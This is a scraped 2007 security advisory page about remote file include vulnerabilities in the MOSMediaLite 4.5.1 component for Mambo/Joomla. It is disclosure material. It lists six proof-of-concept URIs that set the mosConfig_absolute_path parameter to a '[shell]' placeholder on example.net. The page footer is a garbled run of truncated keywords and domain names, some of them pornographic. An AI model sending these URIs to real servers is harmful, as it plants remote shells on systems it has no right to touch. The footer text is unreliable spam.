exploits , vulnerabilities , articles , Mambo/Joomla MOSMediaLite MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities
| Title |
Mambo/Joomla MOSMediaLite MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities |
| Published |
2007-10-08-12:00AM |
| Updated |
2007-10-09-10:48PM |
| Class |
Input Validation Error |
| CVE |
|
| Remote |
Yes |
| Local |
No |
| Credit |
k1n9k0ng is credited with the discovery of this vulnerability. |
| Vulnerable |
MOSMediaLite MOSMediaLite 4.5.1
|
| Not Vulnerable |
|
| Code |
Attackers can use a browser to exploit these issues.The following proof-of-concept URIs are available:http://www.example.net/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=[shell] http://www.example.net/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=[shell] http://www.example.net/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=[shell] http://www.example.net/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=[shell] http://www.example.net/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=[shell] http://www.example.net/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=[shell] |
| TXT |
 |
|
Advertising
|
|
Copyright 2007,
SecurityDot
Sun, 08 Nov 2009 06:17:15 +0000
Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS
EXPLOITS
VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
eliteforum www.97796. www.sexind www.wangmi www.sexvid Zeroboard- www.wybz16 saniya www.sexvid www.tamil. wwwxxss www.pinkwo www.hss365 zeroboard powerdownl powerdownl www.baomuj mbuf www.hao200 www.mir200 ABUM.COM saniya icamtech.n Www'sex wo sextamilvi WWW.102030 invision ww.sex.com OScommerc cecceda.or privacy gu www.mir200 phpBB SQL dzbj.org www.mywang SBI www.mir200 ISC BIND T www.86ship /search/ex www zoofil www.womens Include www.waptri getsmart www .sexoc sexs300 www.cw97.c WWW.SEX PI gujrati
|